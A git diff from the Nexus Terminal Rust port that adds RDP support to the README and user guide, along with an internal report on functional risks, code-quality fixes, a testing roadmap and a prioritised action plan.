uses: softprops/action-gh-release@v2 uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v2.6.2
with: with:
files: build/releases/*/NexusTerminal-*.zip files: build/releases/*/NexusTerminal-*.zip
+3 -7
View File
@@ -1,17 +1,17 @@
# Nexus Terminal # Nexus Terminal
**A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.** **A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.**
Nexus Terminal helps you manage many connections at once, keep terminal work organised, and move files with confidence. It is a single Rust application with no webview, so it starts quickly and stays responsive under heavy terminal output. Nexus Terminal helps you manage many connections at once, keep terminal work organised, and move files with confidence. It is a single Rust application with no webview, so it starts quickly and stays responsive under heavy terminal output.
## Highlights ## Highlights
- SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions in one app - SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions in one app
- Tabbed sessions with split panes, pinning and drag-to-reorder - Tabbed sessions with split panes, pinning and drag-to-reorder
- SFTP browser with drag-and-drop uploads and a permission-aware directory picker - SFTP browser with drag-and-drop uploads and a permission-aware directory picker
- SSH jump hosts, SOCKS5/HTTP proxies, local and remote port forwards, agent forwarding and TOTP auto-fill - SSH jump hosts, SOCKS5/HTTP proxies, local and remote port forwards, agent forwarding and TOTP auto-fill
- Serial consoles with full line settings (baud, data bits, parity, stop bits, flow control) - Serial consoles with full line settings (baud, data bits, parity, stop bits, flow control)
- Native VNC viewer, optionally tunnelled over SSH - Native VNC and RDP viewers; RDP with NLA, certificate pinning, and SOCKS5/HTTP proxy or SSH tunnel routes
- Disconnected overlay with one-click reconnect, and auto-reconnect with backoff - Disconnected overlay with one-click reconnect, and auto-reconnect with backoff
- Broadcast input, snippets, trigger rules and terminal search - Broadcast input, snippets, trigger rules and terminal search
- Session recording (asciicast v2) and playback - Session recording (asciicast v2) and playback
@@ -27,10 +27,6 @@ Prefer a one-off session? Use **Cmd+Shift+Q** / **Ctrl+Shift+Q** to quick connec
If a session drops, use the **Reconnect** button in the disconnected overlay. If a session drops, use the **Reconnect** button in the disconnected overlay.
### Coming from Alchementary Link?
On first run, Nexus Terminal copies your Alchementary Link profiles, encrypted vault and recordings into its own data directory, and picks up credentials saved in the OS keychain. The old data is left untouched. Older `.link` export files can still be imported.
## Documentation ## Documentation
- Product overview: [docs/overview.md](docs/overview.md) - Product overview: [docs/overview.md](docs/overview.md)
@@ -0,0 +1,139 @@
# Functionality and Next Steps Report
**Project:** Nexus Terminal — Rust port (`rust/` workspace)
**Branch / base commit:** `rust-port` @ `8766846` (after this run: `aac986d`)
**Date:** 2026-10-12 07:23 (local)
**Companion:** `audits/20261012-0723-securityAudit.md` (SEC-20261012-NNN references below)
## 1. Executive Summary
The port is functionally complete relative to the Go/Wails app and is in good shape: the core crate is cleanly separated from the UI, every protocol client follows one lifecycle contract (blocking connect, own reader thread, `on_close` exactly once), the test suite (142 tests) exercises real sockets, a real `sshd`, PTYs and fake IRC/VNC/GitHub servers, and `clippy -D warnings` is clean.
The highest-impact improvements now are reliability and user-experience rather than new protocols:
1. **Credential UX** — a mistyped “saved” password is persisted before it is verified and then blocks every reconnect with no re-prompt (SEC-015); store failures are silent.
2. **Resilience** — a panic on any worker thread poisons shared mutexes and takes the whole app down (`lock().unwrap()` everywhere); there is no panic hook, no crash message and no recovery of open sessions.
3. **Product/privacy switches** — update checks, remote clipboard writes and multi-line paste all happen without a preference or notice.
4. **Operability** — recording metadata, audit-log growth and the IRC state model scale poorly with long-running use.
5. **Developer experience** — fuzz targets, a CI audit step and a documented `cargo clean` note after moving the checkout would have saved time in this run.
## 2. Current Functional Risks
| # | Risk | Where | Effect on users |
|---|---|---|---|
| F1 | Saved credential stored before auth succeeds; no path to replace it on failure other than editing the profile | `core/src/sessions.rs` `secret_fn` | Typo → every connect fails silently with the wrong saved password |
| F2 | `Secrets::set` swallows errors (`let _ =`) | `core/src/secrets.rs` | “Save securely” silently doesn't save when the keychain refuses and the vault is locked |
| F3 | Mutex poisoning: ~60 `lock().unwrap()` sites; any panic in a callback thread (e.g. a decoder bug) crashes the UI on the next lock | `sessions.rs`, `app.rs`, clients | One bad session kills all sessions, recordings stop mid-write |
| F4 | No panic hook / crash dialog; `eframe` aborts silently | `app/src/main.rs` | Users see the window vanish with no explanation |
| F5 | Quick Connect (SSH) allows an empty username; connection then fails at auth with an opaque server error | `app/src/quick_connect.rs`, `service.rs` `connect_quick` (unvalidated) | Confusing failure |
| F6 | `import_ssh_config` writes profiles without `validate_profile` (e.g. empty `User`) | `core/src/service.rs` | Profiles that fail validation when later edited |
| F7 | Unknown enum value in a stored JSON column (`hostKeyPolicy`, `lineEnding`, …) makes `parse_col` return `None`; the profile silently reverts that protocol's config to defaults | `core/src/storage.rs` `parse_col` | Lost settings after a downgrade/edit with a newer app |
| F8 | Empty vault accepts any master password; a typo on first use creates entries under the wrong key (SEC-016) | `core/src/secrets.rs` | Unrecoverable secrets |
| F9 | Recording listing reads every `.cast` fully (up to 250 MiB each) on the UI's worker thread (SEC-020) | `core/src/recording.rs` `read_meta` | Recordings window stalls with large files |
| F10 | macOS `capture_cwd` runs `/usr/sbin/lsof` on every Enter in a local shell | `core/src/clients/local.rs` | Noticeable latency on macOS local tabs |
| F11 | Keychain probe writes and deletes an item at every launch | `core/src/secrets.rs` `Keychain::available` | Keychain prompts/noise on macOS; D-Bus wake-ups on Linux |
| F12 | Keychain legacy read-through copies `AlchementaryLink` items forward on every miss | `Keychain::get` | Repeated writes for keys that only exist in the legacy service |
| F13 | GitHub refresh performs up to 5000 commit lookups every refresh interval with 5 threads | `core/src/clients/github.rs` | Token rate-limit exhaustion; 403s surface as “auth failed” |
| F14 | IRC: channels/users tracked for any JOIN/NAMES seen, UI targets created for any sender (SEC-014) | `irc.rs`, `irc_view.rs` | Memory growth on busy networks |
| F15 | `check_github` in `updater.rs` is unused (dead code) and hardcodes an owner/repo that may not exist | `core/src/updater.rs` | Misleading; GitHub fallback never runs |
| F16 | Update check at every launch, no preference, docs say opt-in (SEC-013) | `app/src/app.rs` | Privacy expectation mismatch |
| F17 | Audit log has no cap/rotation | `storage.rs` `add_audit` | DB grows indefinitely |
| F18 | Stale `target/` after moving the checkout bakes old `CARGO_MANIFEST_DIR` into fixture tests (4 failures until `cargo clean`) | build hygiene | Confusing CI-vs-local mismatch |
| F19 | `Secrets::delete_profile` relies on a static list of kinds (`PROFILE_SECRET_KINDS`); the profile editor and session manager still use string literals for kinds | `secrets.rs`, `profile_editor.rs`, `sessions.rs` | A new kind added in one place is missed by the purge |
| F20 | Reconnect credential prompt timeout is 60 s vs 300 s on first connect | `sessions.rs` `schedule_reconnect` | Reconnects fail if the user is away briefly |
## 3. Code Quality Improvements
- **Secret kinds as a type**: replace the `&'static str` kinds (`"password"`, `"github-token"`, `"vnc-ssh-passphrase"`, …) scattered across `sessions.rs`, `profile_editor.rs` and `secrets.rs` with an enum (`SecretKind`) that has `as_str()` and `ALL`. Why: F19 and SEC-001 depend on the list staying complete. Safe step: enum + `From<&str>`; keep the string form for storage keys.
- **Poison-tolerant locking**: introduce a small `fn lock<T>(m: &Mutex<T>) -> MutexGuard<T>` that recovers from poisoning (`unwrap_or_else(|e| e.into_inner())`, as `irc.rs`/`vnc.rs` already do) and use it in `sessions.rs`, `ssh.rs`, `app.rs`. Why: F3. Mechanical refactor; existing tests cover behaviour.
- **Panic hook**: install `std::panic::set_hook` in `main.rs` that logs the payload (no locals) and posts a toast via `post_error`; keep worker panics from killing the UI. Why: F4.
- **`parse_col` should not swallow errors**: log the parse error and keep the raw JSON (or surface a toast once) instead of returning `None`. Why: F7. Add `#[serde(other)]` variants to the enums so unknown values map to a named `Unknown` instead of failing the whole struct.
- **`sessions.rs` (1 300 lines)**: split per-protocol connect functions (`connect_ssh/irc/vnc/github`) and the reconnect state machine into modules; the file is the hardest to test in isolation. Behaviour-preserving move; `tests/sessions.rs` guards it.
- **Thread-per-event**: `on_close` spawns a thread per close and each connect spawns one; fine for a desktop app but makes ordering hard to reason about. Consider one `std::sync::mpsc` worker for lifecycle events.
- **Duplicated defaults**: `Profile::new`, `Profile::normalize`, `profile_editor::prep` and `SshConfig::defaults` each know the default port/keepalive/retry values. Centralise in `models.rs` constants (already partly done) and have `prep` call `normalize`.
- **`run_command("pwd")`** is the only use of exec for state; SFTP `realpath(".")` already gives the home — consider dropping the shell call to avoid shells that print banners.
- **`Keychain::available` probe**: cache the result in preferences with a timestamp; re-probe weekly or on explicit request. Why: F11.
- **Dead code**: `updater::check_github`, `Protocol::Local` branches in validation (`unsupported protocol`). Remove or wire up.
- **`Store::migrate`**: wrap each migration in a transaction and record `schema_version` explicitly in code rather than relying on the SQL files to insert it (verify each file does).
## 4. Frontend Interaction and Error-Handling Improvements
The UI is native egui; the equivalent of “event firing / async failures / console diagnostics” was reviewed:
- **Async failures surface**: every worker reports through `Job`, `Inbox`, `post_error` or `Shared::spawn`; the pattern is consistent. Gap: `Secrets::set` (F2) and `let _ = self.store.update_profile(&p)` in `connect_profile` discard errors — toast them.
- **Modal keyboard handling**: `prompts()` and `dialogs()` read `Key::Enter`/`Escape` globally; with two modals stacked (a credential prompt while the Delete dialog is open) one key can act on both. Route keys only to the top-most modal (check `app.prompts.is_empty()` before dialogs read Enter).
- **Credential prompt**: show which credential kind and profile; add “Save this credential” checkbox when the profile is in ask-every-time mode; after an auth failure with a saved secret, offer “Re-enter”.
- **Host-key prompt**: offer “Copy fingerprint” and show the port; on key change, show both fingerprints side by side with a “Remove old key” action (today the user must go to Settings → Known Hosts).
- **Clipboard from remote** (SEC-010): toast with the first line whenever OSC 52 or VNC sets the clipboard; preference to disable.
- **Multi-line paste** (SEC-017): confirmation preview when the terminal is not in bracketed-paste mode.
- **Transfers**: SFTP upload stops at the first failure and drops the rest of the queue (by design) — show which files were skipped.
- **Console diagnostics**: adopt `tracing` with `RUST_LOG` support for connection lifecycle (host, protocol, state, error) — never credentials, never terminal data; today only `eprintln!` for CLI misuse exists.
- **Crash fallback** (F4): panic hook + “Nexus Terminal hit an internal error; sessions were kept open where possible” dialog.
- **Screenshot automation flags** (`--answer`): read from `NEXUS_ANSWERS` env/file instead of argv (SEC-018) and print a warning when used without `--screenshot`.
## 5. Testing Roadmap
- **Unit**: `secret_fn` ordering (store after success), `Vault` verifier (once added), `parse_col` unknown-enum behaviour, IRC state caps, `read_meta` tail parsing, `export_json` redaction of login-script sends.
- **Integration**: extend `tests/ssh_integration.rs` with password + keyboard-interactive auth (sshd with `PasswordAuthentication yes` and a PAM-less test user is awkward; alternatively a russh server fixture), host-key change detection against the known-hosts table, remote forward teardown, SFTP rename/mkdir/remove.
- **Abuse-case / fuzz**: `cargo-fuzz` targets for `vnc::read_update` (+ decoders), `telnet::Inner::process`, `irc::parse_line` + `ircformat::format_event`, `recording::Store::get`, `sshconfig::parse`, `updater::parse_manifest`. Run in CI nightly with a corpus from the existing fake-server tests.
- **UI interaction**: the `--screenshot --do --answer` automation already drives the app headlessly; turn it into a smoke test matrix in CI (connect to the in-test sshd, open SFTP, run a palette command, assert the PNG is non-empty and the process exits 0).
- **Regression**: keep the Go-fixture compatibility tests; add a fixture written by *this* version so future format changes are caught both ways.
- **Load**: the ignored `perf::feed_throughput` test (50 MiB through the VT parser) should run in release mode in CI with a threshold; add a VNC decode benchmark on a synthetic 4K frame.
- **Smoke**: `cargo audit` and `cargo deny check licenses advisories` jobs; `cargo test --locked` already runs on three OSes.
## 6. Recommended New Functionality
- **Preferences**: check-for-updates on/off (SEC-013), allow remote clipboard writes (SEC-010), confirm multi-line paste (SEC-017), confirm before `insecure` host-key policy connects.
- **Credential management**: a Settings → Credentials page listing stored kinds per profile with “forget” buttons; master-password change (re-encrypt vault); export/import of the vault.
- **Known hosts**: import from `~/.ssh/known_hosts` and export to it; SSH certificate CA trust (`@cert-authority`) since russh already parses certificates.
- **Update integrity**: signed manifest (minisign/Ed25519), verified before display; optional in-app download with sha256 + signature check.
- **IRC**: SASL PLAIN/EXTERNAL (modern networks reject NickServ IDENTIFY over plaintext), IRCv3 message tags for timestamps, per-network ISUPPORT line length.
- **Serial**: session logging to file, hex view like RAW, break duration setting.
- **SFTP**: recursive directory upload/download, drag-out to the desktop, resume on reconnect.
- **Session**: “Send to all tabs in group”, per-session environment overrides for local shells, custom shell arguments.
- **Operability**: audit-log viewer with cap/rotation; recordings metadata cache; “Diagnostics” page (keychain status, data dir, versions of russh/rustls, last update check).
## 7. Next-Level Opportunities
- **Observability**: `tracing` + optional file log with redaction; connection timing metrics in the status bar; opt-in crash reports (local file only).
- **Resilience architecture**: supervisor-style session threads that catch panics per session (`std::panic::catch_unwind` around client callbacks) so one protocol bug cannot end the app.
- **Security architecture**: move all secret-bearing fields out of `Profile` into the secret store behind a migration (keeps `.nexus` compatibility by exporting them inline only when “include secrets” is chosen); `Zeroizing`/`SecretString` throughout; Linux `PR_SET_DUMPABLE` while the vault is unlocked.
- **Distribution**: signed, notarised builds; Flatpak/AppImage with sandboxing (`--filesystem=home:ro` + explicit `~/.ssh`), winget/Homebrew casks; SLSA provenance from the release workflow.
- **Performance**: VNC — upload only dirty rows to the texture (`TextureHandle::set_partial`), decode JPEG on the I/O thread (already) but avoid the full `local.clone()` on resize; terminal — batch paint runs per style (already) and cache galleys per row.
- **Accessibility**: egui `accesskit` is enabled; audit focus order in modals and provide screen-reader labels for icon-only buttons (`widgets::icon_button` has hover text only).
- **Developer experience**: `justfile`/`make` targets for `test`, `clippy`, `audit`, `screenshot-smoke`; a `CONTRIBUTING.md` note about `cargo clean` after moving the checkout (F18); fuzz corpus checked in.
## 8. Prioritised Action Plan
**Immediate (this week)** — low risk, high value
- Add the three preferences (update check, remote clipboard, paste confirmation) with safe defaults. Risk: trivial.
- Toast on `Secrets::set` failure; store saved credentials after auth success (F1/F2). Risk: touches the auth path; covered by sshd tests — add a keyboard-interactive case.
- Poison-tolerant lock helper + panic hook (F3/F4). Risk: mechanical.
- Add `cargo audit` to CI with SEC-012 ignored and dated (outside `rust/`, owner's call).
**Short term (next release)**
- IRC state caps and joined-only tracking (F14).
- `parse_col` error visibility and `Unknown` enum variants (F7).
- Vault verifier entry (F8); keychain probe caching (F11).
- Known-hosts import/export; host-key change dialog improvements.
- Recording metadata from file tail (F9).
**Medium term**
- Secret-kind enum and credential management page (F19).
- Fuzz targets + nightly job; screenshot smoke matrix.
- Signed update manifest; release signing.
- SASL for IRC; SFTP recursive transfers.
**Long term**
- Move profile-embedded secrets into the store with migration; `SecretString` everywhere.
- Per-session panic isolation; `tracing`-based diagnostics.
- Sandboxed distribution and provenance.
## 9. Caveats and Validation Needed
- Keychain behaviour (purge on delete, probe cost, legacy copy-forward) was verified by reading `keyring` usage, not by running against macOS Keychain, Windows Credential Manager or a live Secret Service; test on each OS before release.
- The in-process key generator (`ssh::generate_key_pair`) was tested for Ed25519 and ECDSA; RSA generation runs the `rsa` crate's keygen (slow in debug builds — verify the UI stays responsive and that OpenSSH accepts the files on all three platforms).
- `--data-dir` now creates directories 0700; if any user relies on sharing a portable data directory between accounts this changes behaviour.
- The VNC size cap (64 Mpx) is above any real display; confirm with multi-monitor spanning setups (e.g. 3×4K = 37 Mpx) before lowering it.
- Preference defaults for update checks and remote clipboard are product decisions; both have compatibility implications (vim/tmux yank over SSH relies on OSC 52).
- UI event flows were validated by code review and the existing automation flags, not by an interactive run in this environment.
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -17,7 +17,7 @@ The toolchain is pinned in `rust/rust-toolchain.toml`; `rustup` installs it on f
```bash ```bash
sudo apt-get install -y build-essential pkg-config libxkbcommon-dev libgl1-mesa-dev \ sudo apt-get install -y build-essential pkg-config libxkbcommon-dev libgl1-mesa-dev \
libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev zip libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev zip
``` ```
- **macOS:** Xcode command-line tools (`xcode-select --install`). - **macOS:** Xcode command-line tools (`xcode-select --install`).
+11 -2
View File
@@ -44,6 +44,7 @@
\shortcut{Next / previous match}{\kbd{Enter} / \keys{Shift+Enter}} \shortcut{Next / previous match}{\kbd{Enter} / \keys{Shift+Enter}}
\shortcut{Scroll a page}{\keys{Shift+PageUp}} \shortcut{Scroll a page}{\keys{Shift+PageUp}}
\shortcut{Top / bottom}{\keys{Shift+Home} / \kbd{End}} \shortcut{Top / bottom}{\keys{Shift+Home} / \kbd{End}}
\shortcut{Previous / next prompt}{\keys{\mod+Shift+Up} / \kbd{Down}}
\shortcut{Open link}{\kbd{Ctrl}/\kbd{\ph{E1C4}} + click}} \shortcut{Open link}{\kbd{Ctrl}/\kbd{\ph{E1C4}} + click}}
\sheet{pink}{\iMap\enspace Mouse moves}{% \sheet{pink}{\iMap\enspace Mouse moves}{%
@@ -63,8 +64,11 @@
--data-dir DIR & Use another data folder (portable installs, demos, testing).\\ --data-dir DIR & Use another data folder (portable installs, demos, testing).\\
--theme pro|midnight|light & Start with this theme.\\ --theme pro|midnight|light & Start with this theme.\\
--connect NAME & Connect to a saved profile by name at startup. Repeat it for several.\\ --connect NAME & Connect to a saved profile by name at startup. Repeat it for several.\\
--open WINDOW & Open a window at startup: \code{settings}, \code{settings:security}, \code{snippets}, --open WINDOW & Open a window at startup: \code{settings}, \code{settings:security},
\code{keys}, \code{recordings}, \code{palette}, \code{quick}…\\ \code{settings:diagnostics}, \code{snippets}, \code{keys}, \code{recordings}, \code{palette},
\code{quick}…\\
--run-local CMD & Open a local shell and run a command in it.\\
RUST\_LOG=debug & (environment) More detail in \code{nexus.log}, and on the terminal you started from.\\
--version & Print the version and exit.\\ --version & Print the version and exit.\\
\bottomrule \bottomrule
\end{tabularx} \end{tabularx}
@@ -87,13 +91,18 @@ rerun the script, rebuild the guide.
\item[Bastion / jump host] A server you go \emph{through} to reach the ones behind it. \item[Bastion / jump host] A server you go \emph{through} to reach the ones behind it.
\item[Baud rate] How fast a serial line talks. Both ends must agree. \item[Baud rate] How fast a serial line talks. Both ends must agree.
\item[Broadcast] Typing into several sessions at once. \item[Broadcast] Typing into several sessions at once.
\item[Certificate authority] A key that vouches for other keys, so servers signed by it are trusted without a prompt.
\item[DTR / RTS] Serial control lines. Some boards use them for reset or flashing. \item[DTR / RTS] Serial control lines. Some boards use them for reset or flashing.
\item[Fingerprint] A short summary of a server's host key, used to spot imposters. \item[Fingerprint] A short summary of a server's host key, used to spot imposters.
\item[Host key] A server's identity. Changes when it's rebuilt, or when someone's pretending. \item[Host key] A server's identity. Changes when it's rebuilt, or when someone's pretending.
\item[Keychain] Your operating system's password store. \item[Keychain] Your operating system's password store.
\item[NLA] Network Level Authentication: Windows checks your password before building a desktop.
\item[OSC 133] The escape codes a shell uses to mark its prompts, which powers shell integration.
\item[Port forward] A tunnel carrying one TCP port through SSH. \item[Port forward] A tunnel carrying one TCP port through SSH.
\item[Profile] A saved connection. \item[Profile] A saved connection.
\item[RAW TCP] A plain socket: bytes in, bytes out, no terminal rules. \item[RAW TCP] A plain socket: bytes in, bytes out, no terminal rules.
\item[RDP] Microsoft's Remote Desktop Protocol, for Windows (and xrdp) desktops.
\item[SASL] How IRC networks log you in while you connect, instead of messaging NickServ afterwards.
\item[SFTP] File transfer over SSH. \item[SFTP] File transfer over SSH.
\item[Snippet] A saved command, optionally with blanks to fill in. \item[Snippet] A saved command, optionally with blanks to fill in.
\item[TOTP] Time-based one-time passwords: the six digits from your authenticator app. \item[TOTP] Time-based one-time passwords: the six digits from your authenticator app.
+4 -5
View File
@@ -40,10 +40,9 @@ The first time you open Nexus Terminal you get a calm, empty welcome screen. Thr
\shot{welcome.png}{The welcome screen. Your saved connections will live down the left; here there are a few already.} \shot{welcome.png}{The welcome screen. Your saved connections will live down the left; here there are a few already.}
\begin{headsup}[Coming from Alchementary Link?] \begin{headsup}[Got more than one computer?]
Nexus Terminal spots your old data on first run and copies your profiles, vault and recordings across Point \ui{Profile sync} at a shared folder and your connections follow you around. See
automatically. You'll see a little toast saying so. Your old data is left exactly where it was. \hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
The details are in \hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
\end{headsup} \end{headsup}
\section{Make your first connection} \section{Make your first connection}
@@ -51,7 +50,7 @@ The details are in \hyperref[ch:move]{Moving house} on p.\,\pageref{ch:move}.
\begin{enumerate} \begin{enumerate}
\item Click \ui{New Connection}, or press \keys{\mod+N}. \item Click \ui{New Connection}, or press \keys{\mod+N}.
\item Pick the protocol along the top: \proto[teal]{SSH}, \proto[amber]{Telnet}, \proto[violet]{RAW TCP}, \item Pick the protocol along the top: \proto[teal]{SSH}, \proto[amber]{Telnet}, \proto[violet]{RAW TCP},
\proto[slate]{GitHub}, \proto[rose]{VNC}, \proto[amber]{IRC} or \proto[accent]{Serial}. \proto[slate]{GitHub}, \proto[rose]{VNC}, \proto[rose]{RDP}, \proto[amber]{IRC} or \proto[accent]{Serial}.
\item Fill in the \ui{General} bit: a \ui{Display Name} you'll recognise, the \ui{Host}, the \ui{Port} \item Fill in the \ui{General} bit: a \ui{Display Name} you'll recognise, the \ui{Host}, the \ui{Port}
and your \ui{Username}. and your \ui{Username}.
\item Click \ui{Create \& Connect}. \item Click \ui{Create \& Connect}.
+62 -2
View File
@@ -1,9 +1,10 @@
\guidepart{teal}{Connect}{Connect to all the things} \guidepart{teal}{Connect}{Connect to all the things}
{Eight ways in. Pick the one you need; skip the rest.} {Nine ways in. Pick the one you need; skip the rest.}
{\partitem{\iTerminal}{SSH: the big one} {\partitem{\iTerminal}{SSH: the big one}
\partitem{\iUsb}{Serial: cables and consoles} \partitem{\iUsb}{Serial: cables and consoles}
\partitem{\iPlug}{Telnet and RAW TCP} \partitem{\iPlug}{Telnet and RAW TCP}
\partitem{\iDesktop}{VNC remote desktops} \partitem{\iDesktop}{VNC remote desktops}
\partitem{\iDesktop}{RDP: Windows desktops}
\partitem{\iChat}{IRC} \partitem{\iChat}{IRC}
\partitem{\iGithub}{GitHub}} \partitem{\iGithub}{GitHub}}
@@ -47,6 +48,10 @@ Under \ui{Authentication}, tick which \ui{Auth Methods} to try: \ui{Public key},
\ui{Keyboard-interactive}. Under \ui{SSH Agent}, tick \ui{Use SSH Agent for Authentication} to use keys already \ui{Keyboard-interactive}. Under \ui{SSH Agent}, tick \ui{Use SSH Agent for Authentication} to use keys already
loaded into \code{ssh-agent} (or Pageant, or the Windows OpenSSH agent). loaded into \code{ssh-agent} (or Pageant, or the Windows OpenSSH agent).
Got an SSH \emph{user certificate}? Put it next to the key with the usual name (\code{id\_ed25519-cert.pub} beside
\code{id\_ed25519}) and Nexus Terminal presents it automatically. Servers that hand out \emph{host} certificates are
covered in \hyperref[ch:hostkeys]{Host keys} (p.\,\pageref{ch:hostkeys}).
Every password and passphrase has a \emph{mode}: save it securely, remember it until you quit, or ask every time. Every password and passphrase has a \emph{mode}: save it securely, remember it until you quit, or ask every time.
That's all explained in \hyperref[ch:secrets]{Passwords \& the vault} (p.\,\pageref{ch:secrets}). That's all explained in \hyperref[ch:secrets]{Passwords \& the vault} (p.\,\pageref{ch:secrets}).
@@ -221,6 +226,60 @@ Turn on \ui{VNC viewers may control screen with password} in macOS Screen Sharin
standard VNC password authentication, not Apple's own login method. standard VNC password authentication, not Apple's own login method.
\end{headsup} \end{headsup}
% =========================================================================================
\chapter{RDP: Windows desktops}\label{ch:rdp}
\chapmeta{4 minutes}{You'll be on a Windows (or xrdp) desktop without leaving Nexus Terminal}
\begin{tldr}
Host, username, password. Nexus Terminal logs on with NLA, pins the server's certificate like an SSH host key, and
can go through a proxy, an SSH tunnel or an RD Gateway.
\end{tldr}
\begin{glance}{rose}{RDP}
Default port & 3389\\
Logs in with & NLA (NTLM, or Kerberos with a KDC); \ui{Allow servers without NLA} for xrdp\\
Display & \ui{Scale to Fit}, fixed size, \ui{Resize With Tab}\\
Extras & Clipboard both ways, remote audio, printer, shared folder\\
Getting there & SOCKS5 or HTTP proxy, SSH tunnel, RD Gateway (experimental)\\
\end{glance}
\shot{rdp.png}{An xrdp desktop in a tab. Ctrl+Alt+Del and Paste Clipboard sit on the toolbar.}
\section{Setting it up}
\begin{enumerate}
\item \keys{\mod+N}, protocol \proto[rose]{RDP}.
\item \ui{Host} and \ui{Username}; add a \ui{Domain} if your account has one.
\item Pick how the password is kept (save it, remember it until you quit, or ask every time).
\item \ui{Create \& Connect}. The first time, you're shown the server's certificate fingerprint. Accept it if
it's the machine you meant.
\end{enumerate}
Windows checks your password \emph{before} it builds a desktop (Network Level Authentication), so a typo fails fast.
Linux machines running xrdp don't speak NLA: tick \ui{Allow servers without NLA} for those. In an Active Directory
shop, set a \ui{Kerberos KDC} (\code{host} or \code{host:port}) and use your realm as the domain.
\begin{headsup}[A changed certificate]
RDP servers mostly use self-signed certificates, so Nexus Terminal remembers the fingerprint in
\ui{Known Hosts}. If it changes you get \ui{Reject}, \ui{Accept Once} or \ui{Accept \& Update}, and nothing (not even your
password) is sent until you choose.
\end{headsup}
\section{While you're connected}
It works like the VNC viewer: click the desktop to give it your keyboard, \ui{Ctrl+Alt+Del} sends exactly that, and
text you copy on either side turns up on the other. With \ui{Resize With Tab} the remote desktop follows the tab's
size (Windows does this; other servers are scaled).
Under \ui{Devices}: \ui{Play Remote Audio}; \ui{Redirect Printer}, which adds a \emph{Nexus Terminal} printer whose jobs
land as PostScript files in your Downloads folder; and (Linux and macOS) a \ui{Shared Folder} that shows up remotely as
a drive called Nexus. The server can read and change that folder, and nothing outside it.
\section{Getting through}
Pick \emph{one} of: a \ui{Proxy} (SOCKS5 or HTTP CONNECT), an \ui{SSH Tunnel} (same as VNC), or an \ui{RD Gateway}
(experimental: the gateway needs a proper public certificate and Basic authentication over HTTPS).
% ========================================================================================= % =========================================================================================
\chapter{IRC}\label{ch:irc} \chapter{IRC}\label{ch:irc}
\chapmeta{3 minutes}{You'll be chatting in your project's channels from the same window as your servers} \chapmeta{3 minutes}{You'll be chatting in your project's channels from the same window as your servers}
@@ -231,7 +290,8 @@ Nick, server, rooms to join. Tabs for each room, \code{/commands} as you'd expec
\begin{glance}{amber}{IRC} \begin{glance}{amber}{IRC}
Default port & 6667, or 6697 with \ui{Use TLS} (use TLS!)\\ Default port & 6667, or 6697 with \ui{Use TLS} (use TLS!)\\
Extras & NickServ identify on connect, auto-join rooms, room browser, SSH tunnel\\ Logs in with & SASL PLAIN (most networks want this now), or NickServ identify\\
Extras & Auto-join rooms, room browser, real message times (IRCv3 server-time), SSH tunnel\\
\end{glance} \end{glance}
\shot{irc.png}{Chatting in \#nexus. Rooms down the right, users in the room below them.} \shot{irc.png}{Chatting in \#nexus. Rooms down the right, users in the room below them.}
+36 -6
View File
@@ -30,7 +30,9 @@ Right-click a tab for everything. \keys{\mod+Shift+D} splits right, \keys{\mod+S
\item[Switch] \keys{\mod+Tab} and \keys{\mod+Shift+Tab}, or \keys{\mod+1} to \keys{\mod+9}. \item[Switch] \keys{\mod+Tab} and \keys{\mod+Shift+Tab}, or \keys{\mod+1} to \keys{\mod+9}.
\end{description} \end{description}
Lots of tabs? Scroll the tab strip with your mouse wheel or trackpad. Lots of tabs? Scroll the tab strip with your mouse wheel or trackpad. Quit with a dozen open and they're all back next
time: \ui{Restore tabs at launch} (on by default) reconnects saved profiles and reopens local shells, splits and all,
in the folder they were in.
\section{Split panes} \section{Split panes}
@@ -62,9 +64,10 @@ Select to copy, \keys{\mod+F} to search, Ctrl/\ph{E1C4}-click links. Right-click
\toprule \toprule
Copy & Select text, then \keys{\mod+C}. Nothing selected? \keys{Ctrl+C} interrupts the program as usual.\\ Copy & Select text, then \keys{\mod+C}. Nothing selected? \keys{Ctrl+C} interrupts the program as usual.\\
Paste & \keys{\mod+V}. Pastes are bracketed when the program asks for it, so editors won't auto-indent your paste Paste & \keys{\mod+V}. Pastes are bracketed when the program asks for it, so editors won't auto-indent your paste
into a staircase.\\ into a staircase. Pasting several lines into a shell asks first (turn that off in Settings).\\
Select & Drag for a range, double-click a word, triple-click a line, \kbd{Shift}-click to extend.\\ Select & Drag for a range, double-click a word, triple-click a line, \kbd{Shift}-click to extend.\\
Links & Hold \kbd{Ctrl} (\kbd{\ph{E1C4}}) and click a URL to open it in your browser.\\ Links & Hold \kbd{Ctrl} (\kbd{\ph{E1C4}}) and click a URL to open it in your browser. Real hyperlinks that
programs print (\code{ls --hyperlink}, compilers) get a dotted underline; hover to see where they really go.\\
Scroll & Mouse wheel, or \keys{Shift+PageUp}, \keys{Shift+PageDown}, \keys{Shift+Home}, \keys{Shift+End}.\\ Scroll & Mouse wheel, or \keys{Shift+PageUp}, \keys{Shift+PageDown}, \keys{Shift+Home}, \keys{Shift+End}.\\
\bottomrule \bottomrule
\end{tabularx} \end{tabularx}
@@ -77,8 +80,34 @@ wheel sends arrow keys instead of scrolling. Programs with mouse support (\code{
\section{The right-click menu} \section{The right-click menu}
\ui{Copy}, \ui{Paste}, \ui{Select All}, \ui{Find}, \ui{Send Snippet}, \ui{Port Forwards} (SSH), \ui{Split Right}, \ui{Copy}, \ui{Paste}, \ui{Select All}, \ui{Find}, \ui{Previous Prompt} / \ui{Next Prompt}, \ui{Copy Last Command
\ui{Split Down}, \ui{Export Output} (saves the whole scrollback as a text file), \ui{Clear} and \ui{Reset}. Output}, \ui{Send Snippet}, \ui{Port Forwards} (SSH), \ui{Split Right}, \ui{Split Down}, \ui{Export Output} (saves the
